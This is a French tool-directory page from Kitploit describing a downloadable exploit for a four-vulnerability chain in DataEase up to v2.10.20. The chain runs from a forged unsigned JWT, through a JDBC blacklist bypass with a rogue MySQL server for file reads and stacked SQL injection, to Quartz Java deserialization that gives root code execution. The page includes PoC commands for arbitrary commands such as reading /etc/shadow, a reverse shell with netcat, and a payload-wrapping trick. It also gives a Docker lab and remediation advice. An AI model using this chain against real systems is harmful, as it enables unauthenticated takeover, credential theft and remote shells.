Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
EXPLOIT-CVE-2026-40901 — Exploit automatisé pour DataEase : chaîne de 4 vulnérabilités (contournement d'authentification, contournement de la liste noire JDBC, injection SQL, désérialisation Java) permettant une exécution de code à distance non authentifiée. Comprend un laboratoire Docker et un PoC Python. | Kitploit
Outils/GitHubGitHub/joaovicdev/exploit-cve-2026-40901
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubjoaovicdev/exploit-cve-2026-40901

EXPLOIT-CVE-2026-40901

Voir le dépôt
19il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit automatisé pour DataEase : chaîne de 4 vulnérabilités (contournement d'authentification, contournement de la liste noire JDBC, injection SQL, désérialisation Java) permettant une exécution de code à distance non authentifiée. Comprend un laboratoire Docker et un PoC Python.

Partager

DataEase — RCE sans authentification via une chaîne de 4 vulnérabilités (CVE-2026-40901 et autres)

Contournement d'authentification → contournement de la liste noire JDBC (lecture arbitraire de fichiers) → injection SQL → Désérialisation Java dans Quartz → exécution de code à distance en tant que root.

Laboratoire local autonome (Docker) + PoC fonctionnel. Corrigé dans DataEase v2.10.21.

DataEase est une plateforme open-source populaire de BI / visualisation de données (Java / Spring Boot). Les versions ≤ v2.10.20 sont vulnérables à une chaîne de quatre problèmes qui, combinés, transforment une instance DataEase accessible depuis le réseau en exécution de code à distance :

#CVEClasseCe que ça nous donne
1CVE-2026-23958Contournement d'authentification (CWE-287/CWE-347)Agir en tant que admin — aucune signature valide requise
2CVE-2026-40899Contournement de la liste noire JDBC (CWE-20)Lecture arbitraire de fichiers → vol des identifiants de la BDD back-end
3CVE-2026-40900Injection SQL / requêtes empilées (CWE-89)Écrire dans la base de données de DataEase elle-même
4CVE-2026-40901Désérialisation Java (CWE-502)RCE en tant que root via le job store de Quartz

TL;DR

root@kitploit:~
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)

# 2. fire the chain
python3 exploit/de_rce_chain.py

# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux

Configuration du laboratoire

Tout s'exécute localement dans Docker. Aucun service externe, aucune cible internet.

root@kitploit:~
docker-compose.yml         vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml   repoints the DB at the local mysql-de
mysql/                     my.cnf + init.sql (creates the empty `dataease` DB)
exploit/                   the PoC

Lancement :

root@kitploit:~
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
  • Interface web / API : http://localhost:8100 (préfixe API /de2api)
  • Identifiants par défaut fournis par DataEase : admin / DataEase@123456
  • La JVM de DataEase s'exécute en tant que root dans son conteneur — notre shell est donc root.

Prérequis sur l'hôte : Docker, Python 3.8+ avec cryptography (pip install -r exploit/requirements.txt), et le CLI Docker (utilisé pour exécuter ysoserial dans un conteneur jetable eclipse-temurin:8-jre afin de construire le gadget).


La chaîne, étape par étape

1. CVE-2026-23958 — contournement de l'authentification

DataEase authentifie les requêtes dans un filtre de servlet, TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). Il lit le jeton et appelle TokenUtils.validate(), qui aboutit à :

root@kitploit:~
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        // <-- decode only, NO signature check
    Long userId = jwt.getClaim("uid").asLong();
    Long oid    = jwt.getClaim("oid").asLong();
    ...
    return new TokenUserBO(userId, oid);
}

JWT.decode() ne vérifie jamais la signature. Les seules vérifications sont : le jeton fait au moins 100 caractères et porte une revendication uid entière. Ainsi, n'importe quel JWT indiquant "uid": 1 fait s'exécuter la requête en tant qu'administrateur intégré (uid 1).

Il existe un second filtre (CommunityTokenFilter) qui, lui, vérifie une signature pour l'en-tête X-DE-TOKEN — mais seulement dans des conditions spécifiques, et la clé de signature est soit un secret propre à chaque utilisateur, soit, dans une version communautaire de base, le MD5 du mot de passe par défaut codé en dur DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). Le chemin compagnon share-link (X-DE-LINK-TOKEN) est signé avec la clé codée en dur link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) et, avant le correctif, était lui aussi décodé sans vérification.

Effet net : un attaquant peut forger un jeton d'administrateur. de_common.py inclut forge_jwt(), qui produit le jeton sans signature ; le PoC prend également en charge la simple connexion avec les identifiants par défaut omniprésents afin d'obtenir un X-DE-TOKEN entièrement valide pour le reste de la chaîne.

Le correctif (commit 00c169caa) fait que TokenFilter recherche le véritable secret propre à chaque ressource et appelle réellement verifier.verify(...).

2. CVE-2026-40899 — contournement de la liste noire JDBC → lecture arbitraire de fichiers

Lorsque vous ajoutez une source de données MySQL, DataEase refuse un ensemble de paramètres JDBC dangereux. Cette liste noire se trouve dans un champ Lombok @Data :

root@kitploit:~
// io.dataease.datasource.type.Mysql   (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");

Comme @Data génère automatiquement setIllegalParameters(...), Jackson peut sans difficulté le remplir à partir d'un JSON contrôlé par l'attaquant. L'envoi de "illegalParameters": [] dans le blob configuration (encodé en Base64) vide la liste noire avant qu'elle ne soit vérifiée. Nous pouvons alors pointer la source de données vers un serveur MySQL malveillant avec allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ et lire des fichiers arbitraires depuis l'hôte DataEase via le mécanisme MySQL LOCAL INFILE.

root@kitploit:~
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml

# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307

Résultat — DataEase nous livre ses propres identifiants de base de données back-end :

root@kitploit:~
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql

Ces identifiants sont ce qu'un attaquant utilise pour orienter l'étape 3 vers la base de données de DataEase elle-même. Le correctif (commit 16a950f96) ajoute @JsonIgnore à chaque champ illegalParameters afin qu'il ne puisse plus être défini à partir de JSON.

3. CVE-2026-40900 — injection SQL (requêtes empilées) dans previewSql

POST /de2api/datasetData/previewSql prend une chaîne SQL encodée en Base64 et, avec aucune validation de type « une seule instruction », l'encapsule comme sous-requête :

root@kitploit:~
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0

Les commentaires sont supprimés, mais nous pouvons équilibrer les parenthèses et utiliser ; pour exécuter des instructions supplémentaires. Comme nous contrôlons la source de données, nous activons allowMultiQueries=true (absent de la liste noire dans v2.10.20), donc les requêtes empilées s'exécutent :

root@kitploit:~
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1

que le serveur assemble en trois instructions réelles. En pointant cette source de données vers la base de données propre de DataEase (identifiants de l'étape 2), nous pouvons écrire dans ses tables Quartz. Correctifs : 15611593b ajoute allowMultiQueries à la liste noire et e89059d88 durcit le flux de sauvegarde/moteur.

4. CVE-2026-40901 — désérialisation Quartz → RCE

DataEase planifie un job Quartz récurrent « vérification d'état de la source de données » :

  • planificateur deSyncJob, job Datasource / check_status, classe io.dataease.job.schedule.CheckDsStatusJob
  • cron 0 0/6 * * * ? * (par défaut : toutes les 6 minutes)

Quartz utilise un job store JDBC avec useProperties=false, donc la JobDataMap de chaque job est stockée dans la colonne QRTZ_JOB_DETAILS.JOB_DATA comme un objet sérialisé Java brut (vous pouvez le voir : le blob commence par la magie de sérialisation AC ED 00 05 … org.quartz.JobDataMap). Lorsque le planificateur recherche des déclencheurs, il fait, dans StdJDBCDelegate.selectJobDetail :

root@kitploit:~
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA");   // new ObjectInputStream(...).readObject()

DataEase embarque commons-collections-3.2.1.jar (et velocity-1.7.jar) — des sources classiques de gadgets de désérialisation. En utilisant l'étape 3, nous écrasons JOB_DATA avec une charge utile ysoserial CommonsCollections6 (et, dans la même requête empilée, nous avançons NEXT_FIRE_TIME du déclencheur à maintenant afin de ne pas attendre le cron de 6 minutes). Lors du prochain balayage du planificateur, readObject() déclenche la chaîne de gadgets (LazyMap → InvokerTransformer → Runtime.exec) et notre commande s'exécute — en tant que root, dans le conteneur. L'ensemble de correctifs (e05bda764, …) supprime la dépendance vulnérable Velocity et l'atteignabilité du sink.

Le PoC génère le gadget pour vous (encapsulation de commande compatible busybox — le shell cible est Alpine ash et Runtime.exec ne passe pas par un shell, nous utilisons donc sh -c echo${IFS}<b64>|base64${IFS}-d|sh).


Exécution du PoC

root@kitploit:~
pip install -r exploit/requirements.txt

# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py

# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'

# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444

# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901

Réinitialisez le job Quartz empoisonné entre les exécutions (facultatif) :

root@kitploit:~
exploit/reset_quartz.sh

Fichiers

CheminRôle
exploit/de_common.pyClient HTTP : récupération de la clé RSA /dekey, connexion, falsification de JWT, datasource + previewSql
exploit/de_rce_chain.pyla chaîne complète auth → SQLi → RCE par désérialisation Quartz
exploit/rogue_mysql.pyserveur MySQL malveillant minimal (lecture de fichier LOCAL INFILE) pour CVE-2026-40899
exploit/file_read.pypilote CVE-2026-40899 contre le serveur malveillant
exploit/reset_quartz.shrestaure un job Quartz propre après une exécution

Pourquoi c'est « consistant »

  • La désérialisation Java est la classe de bug intemporelle — atteinte ici via un sink inhabituel (un BLOB du job store JDBC de Quartz) plutôt qu'un corps HTTP.
  • C'est une véritable chaîne de quatre bugs : chaque maillon est individuellement modeste, mais combinés, ils vont de l'accès réseau non authentifié à la RCE en tant que root.
  • Tout est open-source et auto-hébergeable, donc l'ensemble est reproductible sur un ordinateur portable avec Docker — exactement ce qu'on veut pour un writeup.

Remédiation

  • Mettez à niveau vers DataEase ≥ v2.10.21.
  • Changez immédiatement le mot de passe admin par défaut (DataEase@123456).
  • N'exposez pas DataEase directement à des réseaux non fiables.
  • Défense en profondeur pour le sink : exécutez Quartz avec useProperties=true, appliquez un filtre de désérialisation JVM (-Djdk.serialFilter=…), et retirez commons-collections:3.2.1 / velocity:1.7 du classpath.

Avertissement

Pour l'éducation et les tests autorisés uniquement. Le laboratoire cible un conteneur que vous exécutez vous-même. N'utilisez rien de tout cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.

Références

  • OX Security — De l'authentification contournée à la RCE : une chaîne d'exploitation de 4 vulnérabilités dans DataEase
  • NVD / avis du fournisseur — CVE-2026-40901, CVE-2026-40900, CVE-2026-40899, CVE-2026-23958
  • Commits des correctifs : 00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764 (DataEase v2.10.20..v2.10.21)
Télécharger l’outil